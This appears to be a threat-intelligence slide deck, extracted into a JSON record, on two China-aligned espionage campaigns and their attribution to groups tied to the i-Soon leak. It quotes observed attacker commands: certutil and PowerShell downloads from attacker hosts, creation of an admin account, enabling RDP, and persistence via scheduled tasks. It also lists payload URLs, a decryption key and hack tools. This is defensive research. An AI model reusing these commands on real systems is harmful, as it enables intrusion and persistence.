{
	"id": "29f2ae5a-85ac-416b-8829-69bee4ae9f83",
	"created_at": "2026-10-10T02:03:22.21269Z",
	"updated_at": "2026-10-20T09:10:14.020574Z",
	"deleted_at": null,
	"sha1_hash": "07b15a0d84a1c396b927209946f8054e3df4d72c",
	"title": "",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "2026-01-09T07:25:18Z",
	"file_modification_date": "2026-01-09T07:25:18Z",
	"file_size": 3985466,
	"plain_text": "The Return of Old Forces: \nRevealing New Campaigns \nConnected to A Missing \nCyber Mercenary Firm\n\nJoseph Chen\n2026-01 @ JSAC2026\n\n1 | ©2025 Trend Micro Inc.\n\nWhoami\n\nJoseph Chen\n\nStaff Threat Researcher\nThreat Hunting / Threat Intelligence\n\n2 | ©2025 Trend Micro Inc.\n\nAgenda\n\n• Introduction\n• Campaign\n− PONDSNAKE\n− WILYCODE\n• Attribution\n• Conclusion\n\n3 | ©2025 Trend Micro Inc.\n\nIntroduction\n\n4 | ©2025 Trend Micro Inc.\n\nCyber \nEspionage\n\n5 | ©2025 Trend Micro Inc.\n\nThe “I-S00N” Leak\n\n• A massive leak of internal documents and data from a Chinese campany \n“i-Soon” (Anxun) found on a Github repository on Feburary 2024\n• Leaks of the company including\n\nConducted widespread cyber \nespionage campaigns\n\nGovernment  Operated as a contractor closely \nRelationship linked to China’s MPS, MSS and PLA\n\nChinese APT  Collaborated with established \nEcosystem threat groups such as APT41\n\nTLP:WHITE\n\n(https://github.com/I-S00N/I-S00N/)\n\nAfter the Leak\n\nInternational\n\nReactions\n\nDomesitc\n\nReactions\n\n6 | ©2025 Trend Micro Inc.\n\n• The U.S. government imposed \neconomic sanctions and seized the \ncompany's digital infrastructure.\n• The U.S. government issued a formal \nindictment and offered financial \nrewards for information on involved \nemployees.\n\n• The company is facing multiple judicial \ncases within China including sales \ncontract disputes, labor disputes and \nfinancial loan disputes.\n\nTLP:WHITE\n\n(https://www.justice.gov/opa/pr/justice-department-\ncharges-12-chinese-contract-hackers-and-law-\nenforcement-officers-global)\n\nOur Observations\n\nAttributed in the research\n“Chasing Shadows: The Rise of a \nProlific Espionage Actor”\nPwC @ LABScon23 [3]\n\n• Our research found Earth Lusca[1] and Earth Krahang[2] are related to the company\n\nAfter\nthe leak\n\ni-Soon\n(Anxun)\n\n7 | ©2025 Trend Micro Inc.\n\nUnknown relationship\n\n[2] https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html\n[3] https://www.sentinelone.com/labs/labscon-replay-chasing-shadows-the-rise-of-a-prolific-espionage-actor/\n\nEarth Lusca\n\nCollaborated\n\nEarth Krahang\n\n[1] https://www.trendmicro.com/en_us/research/22/a/earth-lusca-sophisticated-infrastructure-varied-tools-and-techni.html\n\nTLP:WHITE\n\nActivities stopped \nafter Q2 2024\n\nTLP:WHITE\n\nOur Observations\n\n• Our research found Earth Lusca[1] and Earth Krahang[2] are related to the company\n\nAttributed in the research After\n“Chasing Shadows: The Rise of a  the leak\nProlific Espionage Actor”\nPwC @ LABScon23 [3]\n\ni-Soon\n(Anxun)\n\n8 | ©2025 Trend Micro Inc.\n\nUnknown relationship\n\n[2] https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html\n[3] https://www.sentinelone.com/labs/labscon-replay-chasing-shadows-the-rise-of-a-prolific-espionage-actor/\n\nEarth Lusca\n\nCollaborated\n\nEarth Krahang\n\n[1] https://www.trendmicro.com/en_us/research/22/a/earth-lusca-sophisticated-infrastructure-varied-tools-and-techni.html\n\nActivities stopped  Came back\nin 2025?\nafter Q2 2024\n\nCampaign\nPONDSNAKE\n\n9 | ©2025 Trend Micro Inc.\n\nOrigin\n\nAlias\n\nActivity\n\nTargets\n\nArsenals\n\n10 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nPONDSNAKE Overview\n\nChina-aligned threat campaign\n\nTA-SC-31[1] (Viettel)\n\nActivities found since October 2024\n\nAssociated Earth Krahang\n\nGovernment organizations\nFinancial firms (insurance and securities)\n\nCobalt Strike\nVShell\nRESHELL\nSnakeC2\nNEOBEACON\n\n[1] https://viettelsecurity.com/apt-ta-sc-31-exploiting-reputable-websites-as-a-launchpad-for-targeted-attack-campaigns/\n\nQ4\n\n2024\n\n! Securities\n! Government\n! Securities\n! Securities\n! Securities\n! Securities\n! Securities\n\n11 | ©2025 Trend Micro Inc.\n\nPONDSNAKE Targets\n\nQ1\n\n2025\n\n\" Securities\n\" Digital Advertising\n! Securities\n! Securities\n# Utilities\n$ Government\n% Government\n! Insurance\n\nQ2\n\n2025\n\n# Government\n\u0026 Securities\n# Government\n# Insurance\n# Government\n# Government\n\nQ3\n\n2025\n\n' Government\n( Government\n' Government\n$ Government\n\nTLP:WHITE\n\nQ4\n\n2025\n\n! Securities\n! Securities\n) Insurance\n\nTLP:WHITE\n\nInitial Access via Public-Facing Servers\n\n• Exploiting SQL injection vulnerabilities on public-facing servers\n\nT1105 - Ingress Tool Transfer\nF:\\mssql\\{REDACTED}\\mssql\\binn\\sqlservr.exe\n\n- C:\\Windows\\system32\\cmd.exe /c certutil -urlcache -split -f http://38.54.16[.]227/tasklist.aaa \nC:\\programdata\\tasklist.exe\n- C:\\Windows\\system32\\cmd.exe /c powershell -c \"invoke-webrequest -uri http://154.196.187[.]90/hamcore.se2 -outfile \nc:/programdata/hamcore.se2”\n- C:\\Windows\\system32\\cmd.exe /c powershell -c \"invoke-webrequest -uri http://154.196.187[.]90/vpn_server.config -\noutfile c:/programdata/vpn_server.config”\n\nT1136.001 - Create Account: Local Account \u0026 T1021.001 - Remote Services: Remote Desktop Protocol\nF:\\mssql\\{REDACTED}\\mssql\\binn\\sqlservr.exe\n\n- C:\\windows\\system32\\net1.exe  user test 1qaz@WSX.. /add\n- C:\\windows\\system32\\net.exe  localgroup Administrators test /add\n- C:\\windows\\system32\\reg.exe  ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v \nfDenyTSConnections /t REG_DWORD /d 0 /f\n\n12 | ©2025 Trend Micro Inc.\n\nSend spear-\nphishing emails\nPONDSNAKE Victims\n\nOperate\n\n13 | ©2025 Trend Micro Inc.\n\nInitial Access via Phishing Email\n\n• Delivering backdoors via spear-phishing emails\n\nHosting Server\n\nExecute backdoors \nfrom attachments\n\nDownload \nadditional files\n\nInfect\n\nCobalt Strike\n\nInfect\n\nSnakeC2\n\nInstall\n\nSoftEther VPN\n\nTLP:WHITE\n\nNEOBEACON\n\nTLP:WHITE\n\nBackdoor Inside Attachments\n\n• Attachments are an unknown backdoor we called SnakeC2\n\n− SHA1: aa40e0ff81ce7f18c3bcf92847450d8f671aa7f5\n\n• The filename of attachments\n\nPre-Alert Surface Mail from Thailand to Cambodia for 24062025.rar\n\nTHA - POSTNET EDI Irregularities Report (extract.me).zip\n\nĐội thuế liên huyện Cẩm Lệ - Hòa Vang Báo cáo kết quả kiểm tra \nxăng dầu T6-25.rar\n(Translate: Cam Le - Hoa Vang Inter-district Tax Team Report on the \nresults of gasoline and diesel inspection T6-25.rar)\n\n14 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nSnakeC2: Overview\n\n• A simple .NET backdoor with capabilities including:\n\n− Download files from URLs\n\n− Execute system commands\n\n• Similar to RESHELL with same functionalities\n\n• We renamed it from the backdoor name found on the PDB string:\n\n− PDB string: f:\\c2\\fuck-c2-v4\\client\\client\\obj\\release\\client.pdb\n\n• Using a compromised government server as the C\u0026C server\n\n15 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nSnakeC2: Download Behaviors\n\n• The download function\n\n− Download from URLs assigned from C\u0026C server\n\n− Store the downloaded files to folder C:/ProgramData/\n\n• Downloaded files observed from a real case:\n\nTimeline Tools URLs\n\nInitial\n\n+ 6 mins\n\n+ 7 mins\n\n16 | ©2025 Trend Micro Inc.\n\nNEOBEACON\n\nSoftEther VPN\n\nCobalt Strike\n\nhxxp://38.54.31[.]65/behavior.dll\nhxxp://38.54.31[.]65/Payload.bin\nhxxp://38.54.31[.]65/tmp.dat\nhxxp://38.54.31[.]65/UevAppMonitor.exe\nhxxp://38.54.31[.]65/UevAppMonitor.exe.config\nhxxp://118.107.221[.]43/vpn_server.config\nhxxp://118.107.221[.]43/taskllst.exe\nhxxp://118.107.221[.]43/hamcore.se2\nhxxp://118.107.221[.]43/jli.dll\nhxxp://118.107.221[.]43/msvcr100.dll\nhxxp://118.107.221[.]43/setting.dat\nhxxp://118.107.221[.]43/jconsole.exe\n\nTLP:WHITE\n\nSnakeC2: Execute Behaviors\n\n• The execute function\n\n− Create the persistence of SnakeC2\n\n…\\Đội thuế liên huyện cẩm lệ - hòa vang báo cáo kết quả kiểm tra xăng dầu t6-25.docx.exe\n\n- C:\\Windows\\System32\\cmd.exe /C copy /b *.exe c:\\programdata\\style.exe\n- C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"VMwareUpdateTask\" /tr \"C:\\ProgramData\\style.exe\" /sc minute \n/mo 10 /f\n\n− Create the persistence of NEOBEACON and Cobalt Strike\n\nC:\\ProgramData\\style.exe\n\n- C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"UevAppMonitorTask\" /tr \"C:\\ProgramData\\UevAppMonitor.exe\" \n/sc daily /st 12:00 /f\n- C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"VMwareUpdateTask11\" /tr \"C:\\ProgramData\\jconsole.exe\" /sc \nminute /mo 30 /f\n\n17 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nNEOBEACON: Overview\n\n• A cross-platform backdoor\n− Windows version implemented with .NET (C#)\n− Linux version implemented with Go\n• Using Microsoft Graph API and OneDrive as C\u0026C\n• Reported as OneDrive Beacon in the research of TA-SC-31[1]\n• Similar to NosyDoor[2] (ESET) and LuckyStrike[3] (Solar)\n• Suspected to be commercial backdoors shared among Chinese actors\n\n[1] https://viettelsecurity.com/apt-ta-sc-31-exploiting-reputable-websites-as-a-launchpad-for-targeted-attack-campaigns/\n[2] https://www.welivesecurity.com/en/eset-research/longnosedgoblin-tries-sniff-out-governmental-affairs-southeast-asia-japan/\n[3] https:/rt-solar.ru/solar-4rays/blog/5603/\n18 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nNEOBEACON: Execution Flow\n\n• The execution flow of NEOBEACON Windows version\n\nLoad Decrypt Decrypt\nRead\n\nPayload.bin tmp.dat\nUevAppMonitor.exe.config behavior.dll\nUevAppMonitor.exe \n(Loader) (NEOBEACON) (Configuration)\n\nLiving-of-the-Land (LotL) Encrypted Encrypted\n\n• The execution flow of NEOBEACON Linux version\n\nDecrypt\n\nAgent tmp.dat\n(NEOBEACON) (Configuration)\n\nEncrypted\n\n19 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nNEOBEACON: Landing on Windows\n\n• Living-of-the-Land: AppDomainManager Injection (T1574.014)\n\n− Abusing the monitor application of Microsoft User Experience Virtualization (UE-V)\n\n− The process reads UevAppMonitor.exe.config and loads behavior.dll\n\n• Using a custom loader to launch NEOBEACON\n\n− A .NET implemented loader using AES to decrypt and Assembly.Load to invoke payload\n\n20 | ©2025 Trend Micro Inc.\n\nNEOBEACON: Encrypting and Decrypting\n\n• Decrypting steps of the configuration file\n\n1. Base64: Base64 decode\n\n2. ROR 2 Rotate: rotate each byte right by 2 positions\n\n3. AES-256-CBC: decrypt with the embedded key and IV\n\n- Example: (Key: 99f985d1d225b3a0388a22cd9e4ea193, IV: aaaccccccccccccc)\n\nLoad\nRead\n\nUevAppMonitor.exe.config behavior.dll\nUevAppMonitor.exe  tmp.dat\n(Loader)\n\nLiving-of-the-Land (LotL) Encrypted\n\n• Applying the same decrypt and encrypt approaches to C\u0026C files on OneDrive\n\n21 | ©2025 Trend Micro Inc.\n\nDecrypt Decrypt\n\nPayload.bin\n(NEOBEACON)\n\nEncrypted\n\nTLP:WHITE\n\n(Configuration)\n\nKey\n\nListener\n\nClientID\n\nToken\n\nSecret\n\nBaseUrl\n\nSleep\n\nAgentType\n\nKey\n\nProfile\n\n22 | ©2025 Trend Micro Inc.\n\nNEOBEACON: C\u0026C Configuration\n\nFunction\n\nC\u0026C Root Directory Name\n\nThe registered App ID\n\nRefresh Token for the OAuth authentication\n\nClient secret for the OAuth authentication\n\nAPI access end point\n\nOnedriveUrl Token exchange end point\n\nSleep interval\n\nAgent type\n\nAES encryption key\n\nC\u0026C behavioral profile\n\nTLP:WHITE\n\nExample of NEOBEACON configuration  (decrypted)\n\nKey\n\nProfileName\n\nMetaDataName\n\nTaskName\n\nSendName\n\nReceiveName\n\nReceiveFolderName\n\nSendFolderName\n\nTaskFolderName\n\nPrepend\n\nAppend\n\nPayloadPrepend\n\nPayloadAppend\n\n23 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nNEOBEACON: C\u0026C Behavioral Profile\n\nFunction\n\nProfile name\n\nHeartbeat filename\n\nCommand filename rule (regex)\n\nSend filename rule (regex)\n\nResult filename rule (regex)\n\nResult file folder\n\nDownload folder\n\nCommand file folder\n\nMasquerading header (magic bytes)\n\nMasquerading footer\n\nPayload prefix (marker)\n\nPayload suffix\n\nNEOBEACON: Commands (Windows)\n\nCommand Function\n\nA\n\nB\n\nC\n\nD\n\nE\n\nF\n\nReimplemented system commands\n\nTerminates the backdoor\n\nExecute commands with cmd.exe\n\nExecute functions in the plugin\n\nLoed plugin delivered with the command\n\nList the drives of system\n\nG List files in a folder\n\nH Retrieve file information\n\nI Convert files to hex format and upload it\n\nJ Download files to the system\n\nK Delete files\n\nL COM-based command execution\n\nM Modify the sleep time\n\nO Injects malicious code directly into the memory of a process\n\n24 | ©2025 Trend Micro Inc.\n\nCommand\n\ntype\n\nhostname\n\nipconfig\n\ndel\n\nwhoami\n\ndir\n\ncopy\n\nTLP:WHITE\n\nReimplemented system commands\n\nFunction\n\nRead files\n\nGet the machine name\n\nNot implemented\n\nDelete files\n\nGet the user name\n\nList folders\n\nCopy files\n\nNEOBEACON: Commands (Linux)\n\nCommand Function\n\nA\n\nB\n\nC\n\nD\n\nE\n\nF\n\nReimplemented system commands\n\nTerminates the backdoor\n\nExecute commands with “bash –c”\n\nExecute functions in the plugin\n\nLoed plugin delivered with the command\n\nList the drives of system\n\nG List files in a folder\n\nH Retrieve file information\n\nI Convert files to hex format and upload it\n\nJ Download files to the system\n\nK Delete files\n\nL COM-based command execution\n\nM Modify the sleep time\n\nO Injects malicious code directly into the memory of a process\n\n25 | ©2025 Trend Micro Inc.\n\nCommand\n\ntype\n\nhostname\n\nipconfig\n\ndel\n\nwhoami\n\ndir\n\ncopy\n\nTLP:WHITE\n\nReimplemented system commands\n\nFunction\n\nRead files\n\nGet the machine name\n\nNot implemented\n\nDelete files\n\nGet the user name\n\nList folders\n\nCopy files\n\nTLP:WHITE\n\nSnakeC2 Variants: Version 3\n\n• Another version of SnakeC2 used by PONDSNAKE\n\n− PDB string: g:\\c2\\fuck-c2-v3\\client-release\\client\\obj\\release\\client.pdb\n\n• Same implementation but different C\u0026C APIs\n\n• Dedicated C\u0026C Servers\n\n− Using compromised websites as Dead Drop Resolver (T1102.001)\n\n26 | ©2025 Trend Micro Inc.\n\nTLP:AMBER+STRICT\n\nSnakeC2 Variants: C\u0026C Server\n\n27 | ©2025 Trend Micro Inc.\n\nclientlogic.pdb\n\nLoader.exe\n(Loader)\n\n28 | ©2025 Trend Micro Inc.\n\nSnakeC2 Variants: New Version\n\n• Used by PONDSNAKE since September 2025\n\n• Similar code and C\u0026C API design as SnakeC2\n\n• Encrypting payload and configuration into separated files\n\nDecrypt Decrypt\n\n− PDB String: c:\\users\\admin\\desktop\\ycat\\v2-plugin\\clientlogic\\clientlogic\\obj\\release\\\n\nclient.pdo\n(SnakeC2 variant)\nEncrypted Encrypted\n\nTLP:WHITE\n\nconfig.json\n(Configuration)\n\nTLP:WHITE\n\nSnakeC2 Variants: Code Similarities\n\nSnakeC2 Version 3 The New Varient\n\n29 | ©2025 Trend Micro Inc.\n\nC\u0026C API\n\n/register\n\n/Get_Order\n\n/send_result\n\nCommand prefix\n\ndownload\n\n30 | ©2025 Trend Micro Inc.\n\nSnakeC2 Version 3\n\nFunction\n\nVictim check-in\n\nGet command\n\nSend command result\n\nFunction\n\nDownload file from a URL\n\nRun command with cmd.exe\n\nSnakeC2 Variants: Function Similarities\n\nC\u0026C API\n\n/Register\n\n/GetCmd/{machine name}\n\n/CmdResult/{machine name}\n\nCommand prefix\n\ndrives\n\nls:\n\n/upload\n\n/download\n\n/GetPlugin\n\nTLP:WHITE\n\nThe New Varient\n\nFunction\n\nVictim check-in\n\nGet command\n\nSend command result\n\nFunction\n\nList drives\n\nList a directory\n\nDrop a file\n\nUpload a file\n\nLoad a plugin\n\nRun command with cmd.exe\n\nPONDSNAKE\n\n31 | ©2025 Trend Micro Inc.\n\nConnections to Earth Krahang\n\n• Both of PONDSNAKE and Earth Krahang used RESHELL\n\nOperate\n\n(118.107.221[.]43)\n\nOperate\n\nServer\n(154.196.187[.]90)\n\nDeliver\n\nServer RESHELL\nSimilar\nC\u0026C\n\nDeliver\n\nDeliver\n\nNEOBEACON\n\nUsed\n\nDeliver\n\nDeliver\n\nSnakeC2\n\nTLP:WHITE\n\nEarth Krahang\n\nCampaign\nWILYCODE\n\n32 | ©2025 Trend Micro Inc.\n\nOrigin\n\nAlias\n\nActivity\n\nAssociated\n\nTargets\n\nArsenals\n\n33 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nWILYCODE Overview\n\nChina-aligned threat campaign\n\n-\n\nActivities found since May 2025\n\nEarth Lusca\n\nGovernment organizations\nEducation organizations\nHospitals\n\nCobalt Strike\nVShell\nSilver\n\nTLP:WHITE\n\nWILYCODE Targets\n\nQ4 Q1 Q2 Q3 Q4\n\n2024 2025 2025 2025 2025\n\n$ Education $ Education * Education\n$ Government $ Government $ Government\n$ Hospital $ Government\n$ Government $ Government\n$ Government $ Government\n$ Government % Government\n\n34 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nInitial Access via Public-Facing Servers\n\n• Exploiting vulnerabilities on public-facing servers\n\nT1105 - Ingress Tool Transfer\nC:\\Program Files\\Microsoft SQL Server\\MSSQL15.MSSQLSERVER\\MSSQL\\Binn\\sqlservr.exe\n\n- C:\\Windows\\system32\\cmd.exe /c powershell (new-object \nSystem.Net.WebClient).DownloadFile('https://su2769[.]com:443/config.log','c:\\programdata\\config.log’)\n- C:\\Windows\\system32\\cmd.exe /c powershell (new-object \nSystem.Net.WebClient).DownloadFile('https://su2769[.]com:443/gdf.txt','c:\\programdata\\gdf.exe’)\n- C:\\Windows\\system32\\cmd.exe /c powershell (new-object \nSystem.Net.WebClient).DownloadFile('https://su2769[.]com:443/G.txt','c:\\programdata\\g.dll’)\n\nT1543.003 - Create or Modify System Process: Windows Service\nC:\\Program Files\\Microsoft SQL Server\\MSSQL15.MSSQLSERVER\\MSSQL\\Binn\\sqlservr.exe\n\n- C:\\Windows\\system32\\cmd.exe /c sc create WpnUserService_LDI8v2gQ binpath= \"C:\\windows\\system32\\cmd.exe /c  \nC:\\Programdata\\Microsoft\\Crypto\\RSA\\MachineKeys\\SecurityHealthService.exe\" start= auto obj= localsystem\n- C:\\Windows\\system32\\cmd.exe /c net start  WpnUserService_LDI8v2gQ\n\nPattern: WpnUserService_xxxxxxxx\n\n35 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nExploitation of Known Vulnerabilities\n\n• Exploiting React2Shell (CVE-2025-55182) vulnerability\n\n− Download and execute Silver backdoor via React2Shell\n\n− Payload (both x86 and x64 version) hosted on a GitHub repository\n\n36 | ©2025 Trend Micro Inc.\n\nName\n\nGodPotato\n\nBadPotato\n\nJuicyPotato\n\nPrintNotifyPotato\n\nPrintSpoofer\n\nFScan\n\nnetspy\n\nfrp\n\nMimikatz\n\nWinDump\n\n37 | ©2025 Trend Micro Inc.\n\nPurpose\n\nPrivilege escalation\n\nPrivilege escalation\n\nPrivilege escalation\n\nPrivilege escalation\n\nPrivilege escalation\n\nNetwork Scanning\n\nNetwork Scanning\n\nTraffic Tunneling\n\nCredential dumping\n\nCredential gathering\n\nTLP:WHITE\n\nLeveraged Open-Source Hack Tools\n\n• Known hack tools detected during their attack operations\n\nFunction\n\nEscalates to SYSTEM via DCOM/RPCSS abuse\n\nEscalates to SYSTEM via Print Spooler spoofing\n\nEscalates to SYSTEM via COM/CLSID abuse\n\nEscalates to SYSTEM via Print Spooler notification bug\n\nEscalates to SYSTEM via Named Pipe impersonation\n\nAutomates vulnerability scanning and password brute-forcing\n\nRapidly detects active hosts and open ports\n\nReverse proxy to expose a local server located behind a NAT or firewall\n\nDumps cleartext passwords and hashes from memory (LSASS)\n\nScrapes local files and registry for saved credentials\n\nTLP:AMBER+STRICT\n\nData Exfiltration\n\n38 | ©2025 Trend Micro Inc.\n\nDLL Side-Loading Execution\n\n• DLL side-loading to execute Cobalt Strike\n\ncscsy.exe\n(spark-windows-host.exe)\n\n• DLL side-loading to execute VShell\n\nSecurityHealthService.exe\n(GDFInstall.exe)\n\n39 | ©2025 Trend Micro Inc.\n\nLoad\n\nciscosparklauncher.dll\n(Loader)\n\nLoad\n\nGameuxInstallHelper.dll\n(Loader)\n\nTLP:WHITE\n\nDecrypt\n\nbin.config\n(Cobalt Strike Payload)\n\nEncrypted\n\nDecrypt\n\nconfig.log\n(VShell Payload)\n\nEncrypted\n\nThe Backdoor Loader\n\n• The loader has been named as HyperBro Launcher[1]\n\nReported to be used by\n2022 Budworm\n\nReported to be used by\n2023 Earth Lusca\n\nIdentified to be used by\n2025 WILYCODE\n\n[1] https://www.security.com/threat-intelligence/budworm-espionage-us-state\n[2] https://www.recordedfuture.com/research/redhotel-a-prolific-chinese-state-sponsored-group-operating-at-a-global-scale\n40 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\nBudworm used the loader to to load HyperBro payload. \nBudworm is associated to APT27.\n\nRedHotel[2] used the loader to load Brute Ratel C4 and \nCobalt Strike payload. RedHotel was attributed to Earth \nLusca.\n\nWILYCODE used the same loader to load Cobalt Strike \nand VShell payload.\n\nTLP:WHITE\n\nDecoding Operations\n\n• A composite operation of (XOR -\u003e ADD) repeated 3 times and a single XOR\n\ny=\t((((((x\t^\tk)\t+\tk)\t^\tk)\t+\tk)\t^\tk)\t+\tk)\t^\tk\n\nx=byte,\tk=key,\ty=result\n\nDecoding loops (SSE Instructions) Decoding tail bytes\n\n41 | ©2025 Trend Micro Inc.\n\nOverlaps Between Campaigns: Loaders\n\n• Overlapping on payload filenames and decoding keys inside the loader\n\nSHA1\n\n026d81090c857d894aaa18225ec4a99e419da651\n\n1d53549bd01561e740df1434bebafe0843deed55\n\nbec1aedbe2a89dd818c23c1b77a8c2f83159d494\n\nda8796d5814752b6a3e955fb870b90464bf4c08d\n\ncd65340360d597a41ac4702f57ae3ec195c1f6fe\n\nddb3e607f3f39f18b5ebb8417af1b0ba664be91c\n\n8609f7ee417c9666a6a10bb92f8dfb8b8998607b\n\nd166137291fabe4f55b2c5bc16b8a9267e0c5ec1\n\n84985adf6fcde0921aa6a955076ba67dd510102e\n\n9f6a7ee952ea5a94a9d954af361e54184695f591\n\n3b7c9fc01772254cdd4f3cbc327b2dd11d102c14\n\n42 | ©2025 Trend Micro Inc.\n\nUsed by\n\nBudworm\n\nBudworm\n\nBudworm\n\nBudworm\n\nBudworm\n\nBudworm\n\nEarth Lusca\n\nEarth Lusca\n\nWILYCODE\n\nWILYCODE\n\nWILYCODE\n\nType Filename (payload)\n\nDLL bin.config\n\nDLL bin.config\n\nDLL bin.config\n\nDLL bin.config\n\nDLL bin.config\n\nDLL bin.config\n\nDLL bin.config\n\nEXE\n\nDLL bin.config\n\nDLL bin.config\n\nDLL config.log\n\nTLP:WHITE\n\nKey\n\n(no encode)\n\n(no encode)\n\n(no encode)\n\n0x01\n\n0x01\n\n0x7B\n\n0x01\n\n0x7B\n\n0x6D\n\n0x6D\n\n0x6D\n\nTLP:WHITE\n\nOverlaps Between Campaigns: PDB Strings\n\n• Overlapping on PDB strings: C:\\Users\\code\\Desktop\\免杀\\DLL劫持\\白文件\\...\n\nSHA1 PDB String\n\nC:\\Users\\xdd\\Desktop\\今天\\VFTRACE\\Release\\VFTRACE.pdb\n026d81090c857d894aaa18225ec4a99e419da651\n\nC:\\Users\\xdd\\Desktop\\今天\\VFTRACE_1\\Release\\VFTRACE.pdb\n1d53549bd01561e740df1434bebafe0843deed55\n\nC:\\Users\\xdd\\Desktop\\今天\\VFTRACE_1\\Release\\VFTRACE.pdb\nbec1aedbe2a89dd818c23c1b77a8c2f83159d494\n\nC:\\Users\\code\\Desktop\\免杀\\DLL劫持\\白文件\\vfhost\\org\\VFTRACE\\Release\\VFTRACE.pdb\nda8796d5814752b6a3e955fb870b90464bf4c08d\n\nC:\\Users\\code\\Desktop\\免杀\\DLL劫持\\白文件\\vfhost\\org\\VFTRACE\\Release\\VFTRACE.pdb\ncd65340360d597a41ac4702f57ae3ec195c1f6fe\n\nC:\\Users\\code\\Desktop\\免杀\\DLL劫持\\白文件\\vfhost\\org\\VFTRACE\\Release\\VFTRACE.pdb\nddb3e607f3f39f18b5ebb8417af1b0ba664be91c\n\n8609f7ee417c9666a6a10bb92f8dfb8b8998607b\n\nd166137291fabe4f55b2c5bc16b8a9267e0c5ec1\n\nC:\\Users\\code\\Desktop\\免杀\\DLL劫持\\白文件\\CiscoCollabHost\\ciscosparklauncher\\Release\\ciscosparklauncher.pdb\n84985adf6fcde0921aa6a955076ba67dd510102e\n\nC:\\Users\\code\\Desktop\\免杀\\DLL劫持\\白文件\\CiscoCollabHost\\ciscosparklauncher\\Release\\ciscosparklauncher.pdb\n9f6a7ee952ea5a94a9d954af361e54184695f591\n\nE:\\silver\\hack\\免杀\\DLL劫持\\白文件\\白文件\\gdf\\GameuxInstallHelper\\Release\\GameuxInstallHelper.pdb\n3b7c9fc01772254cdd4f3cbc327b2dd11d102c14\n\nTranslation: 免杀(AV Evasion), DLL劫持(DLL Hijack),白文件(Clean Binary)\n\n43 | ©2025 Trend Micro Inc.\n\n• The patterns\n\nProfile from Earth Lusca (1.13.82[.]101)\n\n44 | ©2025 Trend Micro Inc.\n\nOverlaps Between Campaigns: C2 Profile\n\n− C2Server: /jquery-3.3.2.N2cQ4mXdZ4nIo9XIhttp.min.js\n\nChrome/92.0.4515.159 Safari/537.36\n\nTLP:WHITE\n\n• Earth Lusca and WILYCODE used similar Cobalt Strike Malleable C2 profiles\n\n− UserAgent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\n\nProfile from WILYCODE (investment1[.]top)\n\nDate\n\n2023-02\n\n2023-05\n\n2023-07\n\n2023-10\n\n2024-02\n\n2024-02\n\n2024-03\n\n2024-04\n\n2024-05\n\n2024-09\n\n2024-11\n\n2025-05\n\n2025-06\n\n2025-06\n\n2025-07\n\n2025-07\n\n2025-08\n\n2025-09\n\n2025-09\n45 | ©2025 Trend Micro Inc.\n\nIP Address\n\n1.13.82[.]101\n\n206.119.167[.]164\n\n8.142.124[.]166\n\n139.155.134[.]117\n\n118.24.119[.]137\n\n47.123.4[.]117\n\n140.246.157[.]86\n\n183.255.43[.]126\n\n122.51.194[.]153\n\n112.124.24[.]104\n\n121.40.23[.]183\n\n144.172.92[.]144\n\n149.30.232[.]116\n\n103.75.46[.]123\n\n106.54.165[.]184\n\n139.9.91[.]122\n\n91.92.241[.]247\n\n206.119.178[.]91\n\n14.23.132[.]92\n\nDomain\n\ncookietest[.]ml\n\nmtlklabs[.]co\n\nconhostsadas[.]website\n\nconhostsadas[.]website\n\nconhostsadas[.]website\n\nns1.xzbxhy[.]com\n\nns1.cooke-int[.]com\n\ninvestment1[.]top\n\nfu5599[.]com\n\nsu2769[.]com\n\nTLP:WHITE\n\nIdentified C2 Servers with The Same Patterns\n\nASN Geolocation Attribution\n\n45090 ! CN Earth Lusca\n\n133199 \" US Earth Lusca\n\n37963 ! CN Earth Lusca\n\n45090 ! CN\n\n45090 ! CN\n\n37963 ! CN\n\n58519 ! CN Earth Lusca Earth Lusca\n9808 ! CN\n\n45090 ! CN Earth Lusca\n\n37963 ! CN\nBy the end of 2024\n37963 ! CN\n\n14956 \" US WILYCODE After 2024\n133199 \" US WILYCODE\n\n132839 \" US WILYCODE\n\n45090 ! CN\n\n45090 ! CN WILYCODE\n\n214943 # NL WILYCODE\n\n133199 \" US WILYCODE\n\n4134 ! CN\n\nAttribution\n\n46 | ©2025 Trend Micro Inc.\n\nPONDSNAKE Attribution\n\n• Attributed to Earth Krahang with a medium-high confidence\n• Using the same malware RESHELL and variant SnakeC2\n• Similar TTPs including\n− Leveraging compromised government websites to attack\n− Renaming SoftEther binary to taskllst.exe and tasklist.exe\n• Difference\n− Operational focus: Global vs Southeast Asia region\n\n47 | ©2025 Trend Micro Inc.\n\nTLP:WHITE\n\n− Arsenals: Earth Krahang used XDealer but PONDSNAKE used NEOBEACON\n\nTLP:WHITE\n\nWILYCODE Attribution\n\n• Attributed to Earth Lusca with a low confidence\n• Using the same HyperBro launcher and C2 profiles\n• Most observed TTPs are general\n− None can’t be used for attribution\n• Difference\n− Operational focus: Global vs Southeast Asia region\n\n48 | ©2025 Trend Micro Inc.\n\nOverview of Attributions\n\n• Campaigns associated with Earth Lusca, Earth Krahang and the i-Soon company\n\nAttributed in the research\n“Chasing Shadows: The Rise of a \nAssociated with\nProlific Espionage Actor”\nPwC @ LABScon23 a low confidence\n\nEarth Lusca\n\nCollaborated\n\ni-Soon\n(Anxun)\nUnknown relationship\n\nEarth Krahang\n\n49 | ©2025 Trend Micro Inc.\n\nAssociated with\na medium-high confidence\n\nTLP:WHITE\n\nNew 